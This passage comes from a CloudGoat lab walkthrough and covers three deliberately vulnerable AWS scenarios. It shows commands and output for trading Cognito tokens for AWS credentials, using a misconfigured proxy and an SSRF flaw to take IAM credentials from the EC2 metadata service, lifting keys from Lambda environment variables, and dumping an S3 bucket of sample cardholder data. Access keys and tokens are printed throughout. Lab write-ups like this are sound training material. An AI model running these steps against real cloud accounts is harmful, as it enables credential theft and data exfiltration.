"cognito-idp.us-east-1.amazonaws.com/us-east-1_0NyB14dfp": "eyJraWQiOiJGSFdTMXBjVTIyQ3RvQTF6bVFEVjRQUFN0Z3BlUkFtdktBZE1kV1hvK0J3PSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4ZDEwZjM0NC02NDc4LTRiMTItYmVjMS02OGM2ZDY0MjI1MTgiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfME55QjE0ZGZwIiwiY29nbml0bzp1c2VybmFtZSI6IjhkMTBmMzQ0LTY0NzgtNGIxMi1iZWMxLTY4YzZkNjQyMjUxOCIsImdpdmVuX25hbWUiOiJmb28iLCJjdXN0b206YWNjZXNzIjoiYWRtaW4iLCJvcmlnaW5fanRpIjoiMzRhYWQ4ZGMtNDA2Yy00YmYyLWFmZjEtYzhkOThiYzZkNGY0IiwiYXVkIjoiMThvdjI2NnJqbmp0dmRkNGwybGM0cmo4NCIsImV2ZW50X2lkIjoiODU2NzExMjAtNmZhYi00NmVjLWI3MzMtMzk2NDhmYjhjMzM1IiwidG9rZW5fdXNlIjoiaWQiLCJhdXRoX3RpbWUiOjE2OTMyMjkzOTksImV4cCI6MTY5MzIzMjk5OSwiaWF0IjoxNjkzMjI5Mzk5LCJmYW1pbHlfbmFtZSI6Imlwc3VtIiwianRpIjoiMGE4YjkzMzMtNTU2ZS00ZjEyLWE0NTAtZTJhZmU3OTljNzE0IiwiZW1haWwiOiJmb29AaW5mcmFzZWMuc2gifQ.Np0Liy9iYav6m6bhkzFABF2arc9AFS4AoxC-TMmw9KBOC4dDgmsKD19chpuWBPU6FJQ04kG4mpS2DCK-HHyzcciQEVt8PqdjNmNM3y1MRQoAjHpR2eglq6lBsGqmWR_pYrcnk5qm9tfiD4dnNjTs1vl1Bc2zfzbPDwDpVZuzeQU4tKJe0yHjuFPXQBF0PuHOLG6zGsVaGm6ja9ROHjvK2tsRrOoXref5F91r2Yc8tQcyM2uEb1qC_bPsfvvUFbG93P10ncm4Sfv_GVgf_zw9RYoncx5IX-BmeGto607f8lDY0QWS8FXhV9rKa3IsiYbG6zZzWsd80Hewl6H7m9g4-g"
}
}
Next we need to get the cognito identities id.
export IDP_TOKEN='eyJraWQiOiJGSFdTMXBjVTIyQ3RvQTF6bVFEVjRQUFN0Z3BlUkFtdktBZE1kV1hvK0J3PSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4ZDEwZjM0NC02NDc4LTRiMTItYmVjMS02OGM2ZDY0MjI1MTgiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfME55QjE0ZGZwIiwiY29nbml0bzp1c2VybmFtZSI6IjhkMTBmMzQ0LTY0NzgtNGIxMi1iZWMxLTY4YzZkNjQyMjUxOCIsImdpdmVuX25hbWUiOiJmb28iLCJjdXN0b206YWNjZXNzIjoiYWRtaW4iLCJvcmlnaW5fanRpIjoiMzRhYWQ4ZGMtNDA2Yy00YmYyLWFmZjEtYzhkOThiYzZkNGY0IiwiYXVkIjoiMThvdjI2NnJqbmp0dmRkNGwybGM0cmo4NCIsImV2ZW50X2lkIjoiODU2NzExMjAtNmZhYi00NmVjLWI3MzMtMzk2NDhmYjhjMzM1IiwidG9rZW5fdXNlIjoiaWQiLCJhdXRoX3RpbWUiOjE2OTMyMjkzOTksImV4cCI6MTY5MzIzMjk5OSwiaWF0IjoxNjkzMjI5Mzk5LCJmYW1pbHlfbmFtZSI6Imlwc3VtIiwianRpIjoiMGE4YjkzMzMtNTU2ZS00ZjEyLWE0NTAtZTJhZmU3OTljNzE0IiwiZW1haWwiOiJmb29AaW5mcmFzZWMuc2gifQ.Np0Liy9iYav6m6bhkzFABF2arc9AFS4AoxC-TMmw9KBOC4dDgmsKD19chpuWBPU6FJQ04kG4mpS2DCK-HHyzcciQEVt8PqdjNmNM3y1MRQoAjHpR2eglq6lBsGqmWR_pYrcnk5qm9tfiD4dnNjTs1vl1Bc2zfzbPDwDpVZuzeQU4tKJe0yHjuFPXQBF0PuHOLG6zGsVaGm6ja9ROHjvK2tsRrOoXref5F91r2Yc8tQcyM2uEb1qC_bPsfvvUFbG93P10ncm4Sfv_GVgf_zw9RYoncx5IX-BmeGto607f8lDY0QWS8FXhV9rKa3IsiYbG6zZzWsd80Hewl6H7m9g4-g'
aws cognito-identity get-id --region us-east-1 --identity-pool-id us-east-1:eb5e41e7-f3bf-4ce4-acff-9f3668316db2 --logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_0NyB14dfp=${IDP_TOKEN}"
# {
# "IdentityId": "us-east-1:21d20f74-ad1e-4f7c-84a5-6fd903d2b34a"
# }
Finally we can get the credentials of the identity
aws cognito-identity get-credentials-for-identity --region us-east-1 --identity-id 'us-east-1:21d20f74-ad1e-4f7c-84a5-6fd903d2b34a' --logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_0NyB14dfp=${IDP_TOKEN}"
# {
# "IdentityId": "us-east-1:21d20f74-ad1e-4f7c-84a5-6fd903d2b34a",
# "Credentials": {
# "AccessKeyId": "ASIAZ6IIT5XU525TYFDL",
# "SecretKey": "Td7zQJ9RNk7uR+/CCld03XDNHs0D25Y3OZIW8+sV",
# "SessionToken": "IQoJb3JpZ2luX2VjEMb//////////wEaCXVzLWVhc3QtMSJIMEYCIQDvS7LHI16Dx2DDc+6xuxzQKDChPnE/1idvrY97E9A9LgIhAIl494KZ6ZMUa1Uj9VSQ9CVO6BE3HmwVwZQRnWXrP7VYKs0ECI///////////wEQAhoMNjgzNDU0NzU0MjgxIgwL6Yj+IOf1XgywprQqoQQJhivUXDiArSnyMVgnU/n6IcILeBqv3Zuzq83mQsqRVuIVXwOHvZTJ3xu5tp7PD09FwQPMzr41mLT+kJ08ekuN3cjjL5Ea7Eq1cJp8p/TtTPLR1yd5oiIAy8ZMFskMGr/LqC8QLOvvWM/qnL30QV1zyTf7q7IKaVI7r/Qx9OIyF43/wP2pD1GfRR0+y2JVvIUqWuFVx+xC6hj7PBiIX2A84B4vicBbDdZbe+Dn6yCiYKlT3wtiaTVfeiq1YGrFT9D76ki0WxcA/lBEebU5NYo2kKHjyGhfBXTBqSkooy3JKEcT6Bql7sCiEjrMIeMApsrafb5/eAPF0FTPdNfd6c1BRqDILgBozSvp+eN45QQdupHk/VBbpOiCpU+8QyZ/wZiC5t2neXpjFnL4WldCwCuKDOq5WKPgao+p0hWEu+HuhIYrvztrw6OOBe44jcH7nsvV4cDjPM0UPxur//93POfqwXsWfZ3NcDBmwCW5o2AdJwerEKkQ8gLPUi3rPcRDSQGmSe6+GYa7LFlPfC7XEXedz3/NSMQZ8xCWckOTKJ+YT86h/DYxNb5JR+jcylkuyaeAY65qU9VoCypgRLKJPLN93n1PTTSfx+kLGRIRDCEBErR1BaDbFzssxgXEJsRwO9CXPlRtkkY0g4mHy8lRmxgaW5ikXzyvgFCAU6ORSD4QifPmFCnfyW7VxJhnDGSxWmyRPcrpsEVQVeA5pSyWV1m7gzC+xbKnBjqEApvGlUx8PoPTgtFXeMJRyekbhmIhaUBZYXb8Prr4yqJpb54hakEdc7bFTx7pf0z8yZfNHsDfFrIihGEOc87kIPE16Kb/MSCEWEoFJZM8Yfq9leHC9t0osz+hK60ROpyECA8+fC217aP0faKKDDTv36/gMUY+PBMdClINSr/dgyrDEcKwI3b7rj1irLk7awkZe+OPtadZ5RfDxpG2bEtEa90xjT38GpMVpBzkqHbPV2C4BtVz458GmzM41aXf7O/wXf8OTmNM+572cQS7TRhSc2OktBuTlUhJyOTnHC682pPHQYss+b20i7HWbtQEege89hvQLg9eVd/tZPwKrUepIdBnCzyq",
# "Expiration": "2023-08-28T10:35:58-04:00"
# }
# }
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU525TYFDL
export AWS_SECRET_ACCESS_KEY=Td7zQJ9RNk7uR+/CCld03XDNHs0D25Y3OZIW8+sV
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEMb//////////wEaCXVzLWVhc3QtMSJIMEYCIQDvS7LHI16Dx2DDc+6xuxzQKDChPnE/1idvrY97E9A9LgIhAIl494KZ6ZMUa1Uj9VSQ9CVO6BE3HmwVwZQRnWXrP7VYKs0ECI///////////wEQAhoMNjgzNDU0NzU0MjgxIgwL6Yj+IOf1XgywprQqoQQJhivUXDiArSnyMVgnU/n6IcILeBqv3Zuzq83mQsqRVuIVXwOHvZTJ3xu5tp7PD09FwQPMzr41mLT+kJ08ekuN3cjjL5Ea7Eq1cJp8p/TtTPLR1yd5oiIAy8ZMFskMGr/LqC8QLOvvWM/qnL30QV1zyTf7q7IKaVI7r/Qx9OIyF43/wP2pD1GfRR0+y2JVvIUqWuFVx+xC6hj7PBiIX2A84B4vicBbDdZbe+Dn6yCiYKlT3wtiaTVfeiq1YGrFT9D76ki0WxcA/lBEebU5NYo2kKHjyGhfBXTBqSkooy3JKEcT6Bql7sCiEjrMIeMApsrafb5/eAPF0FTPdNfd6c1BRqDILgBozSvp+eN45QQdupHk/VBbpOiCpU+8QyZ/wZiC5t2neXpjFnL4WldCwCuKDOq5WKPgao+p0hWEu+HuhIYrvztrw6OOBe44jcH7nsvV4cDjPM0UPxur//93POfqwXsWfZ3NcDBmwCW5o2AdJwerEKkQ8gLPUi3rPcRDSQGmSe6+GYa7LFlPfC7XEXedz3/NSMQZ8xCWckOTKJ+YT86h/DYxNb5JR+jcylkuyaeAY65qU9VoCypgRLKJPLN93n1PTTSfx+kLGRIRDCEBErR1BaDbFzssxgXEJsRwO9CXPlRtkkY0g4mHy8lRmxgaW5ikXzyvgFCAU6ORSD4QifPmFCnfyW7VxJhnDGSxWmyRPcrpsEVQVeA5pSyWV1m7gzC+xbKnBjqEApvGlUx8PoPTgtFXeMJRyekbhmIhaUBZYXb8Prr4yqJpb54hakEdc7bFTx7pf0z8yZfNHsDfFrIihGEOc87kIPE16Kb/MSCEWEoFJZM8Yfq9leHC9t0osz+hK60ROpyECA8+fC217aP0faKKDDTv36/gMUY+PBMdClINSr/dgyrDEcKwI3b7rj1irLk7awkZe+OPtadZ5RfDxpG2bEtEa90xjT38GpMVpBzkqHbPV2C4BtVz458GmzM41aXf7O/wXf8OTmNM+572cQS7TRhSc2OktBuTlUhJyOTnHC682pPHQYss+b20i7HWbtQEege89hvQLg9eVd/tZPwKrUepIdBnCzyq
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XUVHR4OE5SA:CognitoIdentityCredentials",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cognito_authenticated-vulnerable_cognito_cgidxdpffgo2ji/CognitoIdentityCredentials"
# }
Cleanup
./cloudgoat.py destroy vulnerable_cognito
Cloud Breach S3
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/cloud_breach_s3/README.md
./cloudgoat.py create cloud_breach_s3
# cloudgoat_output_target_ec2_server_ip = "3.92.59.7"
Trying to connect to it over a web browser returns a blank page. Lets try from the command line
curl 3.92.59.7
# <h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>
Lets try adding a host header on the curl command
curl --header 'host: 3.92.59.7' 3.92.59.7
# <h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>
curl --header 'host: localhost' 3.92.59.7
# <h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>
curl --header 'host: 169.254.169.254' 3.92.59.7
# 1.0
# 2007-01-19
# 2007-03-01
# 2007-08-29
# 2007-10-10
# 2007-12-15
# 2008-02-01
# 2008-09-01
# 2009-04-04
# 2011-01-01
# 2011-05-01
# 2012-01-12
# 2014-02-25
# 2014-11-05
# 2015-10-20
# 2016-04-19
# 2016-06-30
# 2016-09-02
# 2018-03-28
# 2018-08-17
# 2018-09-24
# 2019-10-01
# 2020-10-27
# 2021-01-03
# 2021-03-23
# 2021-07-15
# 2022-07-09
# 2022-09-24
# latest
We got something different when querying the instance metadata server.
curl --header 'host: 169.254.169.254' 3.92.59.7/latest
# dynamic
# meta-data
# user-data
Lets try to get some AWS credentials from the metadata service.
curl --header 'host: 169.254.169.254' 3.92.59.7/latest/meta-data/iam/security-credentials/
# cg-banking-WAF-Role-cloud_breach_s3_cgidpj2qm7k922
curl --header 'host: 169.254.169.254' 3.92.59.7/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_cgidpj2qm7k922/
# {
# "Code" : "Success",
# "LastUpdated" : "2023-08-30T13:14:20Z",
# "Type" : "AWS-HMAC",
# "AccessKeyId" : "ASIAZ6IIT5XU6UCR6LU2",
# "SecretAccessKey" : "vOPSIH0EGpfR9gg31v5YvL4spe3JGgPMv97CTRYJ",
# "Token" : "IQoJb3JpZ2luX2VjEPb//////////wEaCXVzLWVhc3QtMSJIMEYCIQDo6KpjSrmJjj+H3HcSX26/Vsmf70KtItQUXz+C3D7D/wIhAMbWa0vU47ol27JJizA4ZS88wraB37coG2vJ6g+Omom7KsQFCL7//////////wEQAhoMNjgzNDU0NzU0MjgxIgzUKoi5jLbmKup5Up8qmAVWQwTo6t9apdGkaJW2Kz6E80gwJOMGVdPafQ0vF1+LkosuHANsi5sfbhQBi0bIQPz6bN1Z0p6lkuiEC7eMUcxknX3D0T6RWFfgu+4PEnf6jRH3fhi04T+AJ/rzq88kvLN/PAf7yWKK7dqXnlIGWusj6LqUP0hsC2dbX3ykiVC646Am/1fQgHk2PfUDXClDJvztv2eCc0u5PR0h5K7E7QvNp2BQ2fAJWwjs0zvAeWtdvSago5N2J97McDg4raE35BVI2DZF2FTd3Pdmb2TJwZM8CmOnYgtrqJ61bACwz5RLmMd2x4EH8gBq8gvBTkvO8hmh7OPZtqBlsG6dtxzbDDEPFldRlBYy/pHqROmSQSFqNdmjXnR8JFgdrr7POBnOH42Df144iwg/Je98xMyr+nwYcj+eTLUvQebxsjn+q6QkOg78HI2rLlvYm617ls9Ya7TcQ6k4DnhEUrKC3rY5KnurB8jYmVYgGFV29okFjGxYAvkYzzcQKsJYeh9R/5dPp71QlF652hc09g90Ry0qKH8mru6Xo9br6iR0RQ621jZPEfdSwO1ca/QFmWGQCxZAotA0aflR/D4NLiRllpWY+hOginP52GOxv2XpPrg+W8qr+PPhj05hQtGOmb9BY9XJeaSM2MYgxIxT9XchBolrm5ohANXZQGZBrpwg4LbfIgtUmPoPaUaT4zusfrHm+MXXNckEDR82+oqmERPV3iOfWIvqt+GtYn5pvbmgCEgulaSTAK5xJiQcrk6lwxJodudUbcroo9kTHEpc5U07/Av3HOMk6uQWx2/LNu4FBVyMAa8WMUMOIDhI9XUM3Zje/ERWQrENKkvihQvZGVb9kfin6nrqquw2Pho2jrglVWZexB89Kr88euNrTg+QML6BvacGOrABHEOx722uVl58zHTm/iGJCSX4YbchhvNpbbs6E0mRkSEdDxiyomR6UmO7k9SigeOsV1vGNOa63Glmko8Sshoty47LFyOE61RjrmS/eDyGek9SiFfilaZZExzh1HJFjWdW4XwY52xlOmT312QnzRjqIuX/FatlJkzLuYc5OQmHQ+UGMLg7dggzSNv0tZbqVMxIy07+HrwPZrGWpWO6Fnz54G205r0mnJ4daXV4Bwa3IY0=",
# "Expiration" : "2023-08-30T19:49:38Z"
# }
Perfect lets now copy the credentials into our local environemnt.
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU6UCR6LU2
export AWS_SECRET_ACCESS_KEY=vOPSIH0EGpfR9gg31v5YvL4spe3JGgPMv97CTRYJ
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPb//////////wEaCXVzLWVhc3QtMSJIMEYCIQDo6KpjSrmJjj+H3HcSX26/Vsmf70KtItQUXz+C3D7D/wIhAMbWa0vU47ol27JJizA4ZS88wraB37coG2vJ6g+Omom7KsQFCL7//////////wEQAhoMNjgzNDU0NzU0MjgxIgzUKoi5jLbmKup5Up8qmAVWQwTo6t9apdGkaJW2Kz6E80gwJOMGVdPafQ0vF1+LkosuHANsi5sfbhQBi0bIQPz6bN1Z0p6lkuiEC7eMUcxknX3D0T6RWFfgu+4PEnf6jRH3fhi04T+AJ/rzq88kvLN/PAf7yWKK7dqXnlIGWusj6LqUP0hsC2dbX3ykiVC646Am/1fQgHk2PfUDXClDJvztv2eCc0u5PR0h5K7E7QvNp2BQ2fAJWwjs0zvAeWtdvSago5N2J97McDg4raE35BVI2DZF2FTd3Pdmb2TJwZM8CmOnYgtrqJ61bACwz5RLmMd2x4EH8gBq8gvBTkvO8hmh7OPZtqBlsG6dtxzbDDEPFldRlBYy/pHqROmSQSFqNdmjXnR8JFgdrr7POBnOH42Df144iwg/Je98xMyr+nwYcj+eTLUvQebxsjn+q6QkOg78HI2rLlvYm617ls9Ya7TcQ6k4DnhEUrKC3rY5KnurB8jYmVYgGFV29okFjGxYAvkYzzcQKsJYeh9R/5dPp71QlF652hc09g90Ry0qKH8mru6Xo9br6iR0RQ621jZPEfdSwO1ca/QFmWGQCxZAotA0aflR/D4NLiRllpWY+hOginP52GOxv2XpPrg+W8qr+PPhj05hQtGOmb9BY9XJeaSM2MYgxIxT9XchBolrm5ohANXZQGZBrpwg4LbfIgtUmPoPaUaT4zusfrHm+MXXNckEDR82+oqmERPV3iOfWIvqt+GtYn5pvbmgCEgulaSTAK5xJiQcrk6lwxJodudUbcroo9kTHEpc5U07/Av3HOMk6uQWx2/LNu4FBVyMAa8WMUMOIDhI9XUM3Zje/ERWQrENKkvihQvZGVb9kfin6nrqquw2Pho2jrglVWZexB89Kr88euNrTg+QML6BvacGOrABHEOx722uVl58zHTm/iGJCSX4YbchhvNpbbs6E0mRkSEdDxiyomR6UmO7k9SigeOsV1vGNOa63Glmko8Sshoty47LFyOE61RjrmS/eDyGek9SiFfilaZZExzh1HJFjWdW4XwY52xlOmT312QnzRjqIuX/FatlJkzLuYc5OQmHQ+UGMLg7dggzSNv0tZbqVMxIy07+HrwPZrGWpWO6Fnz54G205r0mnJ4daXV4Bwa3IY0=
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XU5WZ6TSYGX:i-0a19fe78ade3241a7",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-banking-WAF-Role-cloud_breach_s3_cgidpj2qm7k922/i-0a19fe78ade3241a7"
# }
Now that we have credentials lets find what access we have…
aws iam list-attached-role-policies --role-name cg-banking-WAF-Role-cloud_breach_s3_cgidpj2qm7k922
# No Access
aws iam list-role-policies --role-name cg-banking-WAF-Role-cloud_breach_s3_cgidpj2qm7k922
# No Access
No access. Knowing that we have to download files from S3 lets see if we can view buckets.
aws s3 ls
# 2023-08-30 09:14:23 cg-cardholder-data-bucket-cloud-breach-s3-cgidpj2qm7k922
aws s3 ls cg-cardholder-data-bucket-cloud-breach-s3-cgidpj2qm7k922
# 2023-08-30 09:14:24 58872 cardholder_data_primary.csv
# 2023-08-30 09:14:24 59384 cardholder_data_secondary.csv
# 2023-08-30 09:14:24 92165 cardholders_corporate.csv
# 2023-08-30 09:14:25 249500 goat.png
mkdir s3_dump
aws s3 cp --recursive 's3://cg-cardholder-data-bucket-cloud-breach-s3-cgidpj2qm7k922' s3_dump/
ls -l s3_dump
# total 912
# -rw-r--r--@ 1 host staff 58872 Aug 30 09:14 cardholder_data_primary.csv
# -rw-r--r--@ 1 host staff 59384 Aug 30 09:14 cardholder_data_secondary.csv
# -rw-r--r--@ 1 host staff 92165 Aug 30 09:14 cardholders_corporate.csv
# -rw-r--r--@ 1 host staff 249500 Aug 30 09:14 goat.png
head s3_dump/cardholder_data_primary.csv
# ssn,id,first_name,last_name,email,gender,ip_address,address,city,state,zip
# 287-43-8531,1,Cooper,Luffman,[email protected],Male,194.222.101.195,2 Killdeer Way,Atlanta,Georgia,30343
# 892-80-0931,2,Grata,Pulteneye,[email protected],Female,161.4.88.129,486 Butterfield Crossing,Washington,District of Columbia,20503
# 502-50-6643,3,Rogerio,Glover,[email protected],Male,88.58.129.152,3 Granby Circle,Sacramento,California,94280
# 238-57-8444,4,Melisandra,Gunstone,[email protected],Female,56.162.161.35,68294 Schiller Lane,Washington,District of Columbia,20319
# 127-05-5515,5,Michail,McKune,[email protected],Male,69.210.227.104,2 Bayside Way,Birmingham,Alabama,35263
# 214-11-1791,6,Bari,Mont,[email protected],Female,208.57.174.207,6837 Sugar Court,Los Angeles,California,90015
# 501-58-1290,7,Sollie,Angear,[email protected],Male,39.78.158.172,0 Portage Center,Hartford,Connecticut,6145
# 242-23-0804,8,Retha,Dyka,[email protected],Female,254.159.96.156,1 Sauthoff Lane,Pompano Beach,Florida,33064
# 898-84-8195,9,Nerissa,Thorwarth,[email protected],Female,106.219.0.76,9248 Eagle Crest Point,Louisville,Kentucky,40287
Perfect, we have not stollen the data!
Cleanup
rm -r s3_dump
./cloudgoat.py destroy cloud_breach_s3
EC2 SSRF
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/ec2_ssrf/README.md
./cloudgoat.py create ec2_ssrf
# cloudgoat_output_solus_access_key_id = AKIAZ6IIT5XUU6OQENGH
# cloudgoat_output_solus_secret_key = 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
In a new terminal export the credentials and view the user
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUU6OQENGH
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XUWHUXW2URD",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/solus-ec2_ssrf_cgidvxydcyqljq"
# }
Lets try to access our permissions
aws iam list-attached-user-policies --user-name solus-ec2_ssrf_cgidvxydcyqljq
# No Access
aws iam list-user-policies --user-name solus-ec2_ssrf_cgidvxydcyqljq
# No Access
aws lambda list-functions
{
"Functions": [
{
"FunctionName": "cg-lambda-ec2_ssrf_cgidvxydcyqljq",
"FunctionArn": "arn:aws:lambda:us-east-1:0123456789:function:cg-lambda-ec2_ssrf_cgidvxydcyqljq",
"Runtime": "python3.9",
"Role": "arn:aws:iam::0123456789:role/cg-lambda-role-ec2_ssrf_cgidvxydcyqljq-service-role",
"Handler": "lambda.handler",
"CodeSize": 223,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2023-08-30T15:34:20.723+0000",
"CodeSha256": "xt7bNZt3fzxtjSRjnuCKLV/dOnRCTVKM3D1u/BeK8zA=",
"Version": "$LATEST",
"Environment": {
"Variables": {
"EC2_ACCESS_KEY_ID": "AKIAZ6IIT5XU2GXCSDTI",
"EC2_SECRET_KEY_ID": "CXB1yEXVKRbPX2HyYx546+zqz3fhkrWz2hCIn8dH"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "fd5ade98-3dd4-4651-ad67-ec7a4b8f61ce",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
}
}
]
}
Oooo access keys in environment variables, lets test them out
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XU2GXCSDTI
export AWS_SECRET_ACCESS_KEY=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
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XUXROFZ3H64",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/wrex-ec2_ssrf_cgidvxydcyqljq"
# }
New users creds for wrex-ec2_ssrf_cgidvxydcyqljq
lets see what perms they have.
aws iam list-attached-user-policies --user-name wrex-ec2_ssrf_cgidvxydcyqljq
# No Access
aws iam list-user-policies --user-name wrex-ec2_ssrf_cgidvxydcyqljq
# No Access
aws lambda list-functions
# No Access
aws ec2 describe-instances
[{...}]
We have access to viewing servers, lets save some of the information
InstanceID: i-06a297e8e278f4152
PrivateIpAddress: 10.10.10.244
PublicIpAddress: 54.175.36.48
IamInstanceProfile: {
Arn: arn:aws:iam::0123456789:instance-profile/cg-ec2-instance-profile-ec2_ssrf_cgidvxydcyqljq
Id:AIPAZ6IIT5XU47QU3SH2N
}
Lets see if we can get any information from the website (54.175.36.48
).
curl 54.175.36.48
# <!DOCTYPE html>
# <html lang="en">
# <head>
# <meta charset="utf-8">
# <title>Error</title>
# </head>
# <body>
# <pre>TypeError: URL must be a string, not undefined<br> at new Needle (/node_modules/needle/lib/needle.js:147:11)<br> at Function.module.exports.(anonymous function) [as get] (/node_modules/needle/lib/needle.js:819:12)<br> at /home/ubuntu/app/ssrf-demo-app.js:32:12<br> at Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)<br> at next (/node_modules/express/lib/router/route.js:144:13)<br> at Route.dispatch (/node_modules/express/lib/router/route.js:114:3)<br> at Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)<br> at /node_modules/express/lib/router/index.js:284:15<br> at Function.process_params (/node_modules/express/lib/router/index.js:346:12)<br> at next (/node_modules/express/lib/router/index.js:280:10)</pre>
# </body>
# </html>
Lets add a url and retry the request
curl '54.175.36.48?url=169.254.169.254'
# <h1>Welcome to sethsec's SSRF demo.</h1>
# <h2>I am an application. I want to be useful, so I requested: <font color="red">169.254.169.254</font> for you
# </h2><br><br>
# 1.0
# 2007-01-19
# 2007-03-01
# 2007-08-29
# 2007-10-10
# 2007-12-15
# 2008-02-01
# 2008-09-01
# 2009-04-04
# 2011-01-01
# 2011-05-01
# 2012-01-12
# 2014-02-25
# 2014-11-05
# 2015-10-20
# 2016-04-19
# 2016-06-30
# 2016-09-02
# 2018-03-28
# 2018-08-17
# 2018-09-24
# 2019-10-01
# 2020-10-27
# 2021-01-03
# 2021-03-23
# 2021-07-15
# 2022-07-09
# 2022-09-24
# latest
With the requests being proxied to the instance metadata server we can steal credentials
curl '54.175.36.48?url=169.254.169.254/latest/meta-data/iam/security-credentials/'
# <h1>Welcome to sethsec's SSRF demo.</h1>
# <h2>I am an application. I want to be useful, so I requested: <font color="red">169.254.169.254/latest/meta-data/iam/security-credentials/</font> for you
# </h2><br><br>
# cg-ec2-role-ec2_ssrf_cgidvxydcyqljq
curl '54.175.36.48?url=169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-ec2_ssrf_cgidvxydcyqljq/'
# {
# "Code" : "Success",
# "LastUpdated" : "2023-08-30T15:34:42Z",
# "Type" : "AWS-HMAC",
# "AccessKeyId" : "ASIAZ6IIT5XUZD4YLGOP",
# "SecretAccessKey" : "CQv7E1jnOJe65P/G0Y8lWG8+Urb2T5iK58tdRCoT",
# "Token" : "IQoJb3JpZ2luX2VjEPj//////////wEaCXVzLWVhc3QtMSJGMEQCIAlmisv976K4apgKJsmzPYo9ySvQMzIR3qUrHoHwdEhgAiBD8Ai8ND2+7gM/uKc1dkZdIe8Noc3NjHwZTSmMGUhazCrEBQjB//////////8BEAIaDDY4MzQ1NDc1NDI4MSIMX5DadwM4cvb794ItKpgFdHWl0mNZpOA/t8dToOCKd0ldo5pUovCm+SNlo3wq32ESFQYQp+C4vbD3beXdkSMLuB3IjbdOmdCqj0O6kYvfhpCdEZhWEGP9VEI74dRebitrsm0/hMBA2K5eHa6qgwWc7ZJZS6Ea5rQmgzYRIWemIBFatpWBgxLGw2+wIWJPfSrYvi2teo5qD706DAgPl/s9vHl+aCkCswj89w1nYet+JQQEppuxmn+oqntA/UbNW9/q9piJMKoWHCD+uNuU5lJe68XmkDlJ5JbN/cI9wUB4CKwv8zvbIP2BDcTfWdwT8PJ0Hd5mgRCqDdaEyz5uhW6eUAwLBaYBuv7N5FjuG6hFWj1EtCMzyzhIws0wTr7p6lv9BxtcEsm1askSDcoHM35pQdymKZmxZ9SImLVzTRmGICn0/wVDKZWoiBkYArNPVNQUxAuhzGLHevEHX09E6wYGY4w3I1pVKLRv50GNQSyHUh3HP8clP5MHCgNPkNqWyOpsK4cDc2QwHknNTJAwD5h4xHPi5JpBvkH5+NfLSCOGgMomVlWJiAeGtosdS2AhtLqR0rjOVmAtaUfBBIjb6F3qTGKJml+qU9W0G5NKWa0nXaj0ceU8KqYJ9PHnddgON5UqJbldf1GT6PcCaubSl9JCi5ebv82P9lp918V7vSAXZlheGFgqToWC0Jts83Sx+/abSyxhPkck3O3lObz4EbQ+O0MPBF/UPopjwz6D+dVdhY6A8n7TG7mqUDGNDGW2PbaxqgbNHLioWHGSS3YirIdVxpR23gcFGokjxhLUaX0dlxekIc31BdnU5lGhHHGDpAgNyVn9zhv258qAlRIDPsVbeSqVLoazZUUWNRLZMGQYBm84iWP6Ju5lVoH6lqrnvlvKJ4AKUsyD6zCQw72nBjqyASJJrKCM7sYS3wYBVV71z9ezNzRmHYV4QTEZzGt2EXyoo1eaWyt/CQy7UuH7nrPwrgUZ0p5pJ2wIAjZbHq2yszj1/O9qZQ5W9RKgjWek8TqKc7QP+7nwjr4r42Drdf3QDaVboIEvb8N/KGLpVum0DPLDzPzsHEyyviX8HAd85mX6Okh4TnogJA5LHGnMZfWjegIk8goh/Wa3ouesASoHR+MYSXvbdvGs9ZPQRyVQvjQfVoU=",
# "Expiration" : "2023-08-30T22:09:40Z"
# }
Take the credentials and put them in our local shell.
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XUZD4YLGOP
export AWS_SECRET_ACCESS_KEY=CQv7E1jnOJe65P/G0Y8lWG8+Urb2T5iK58tdRCoT
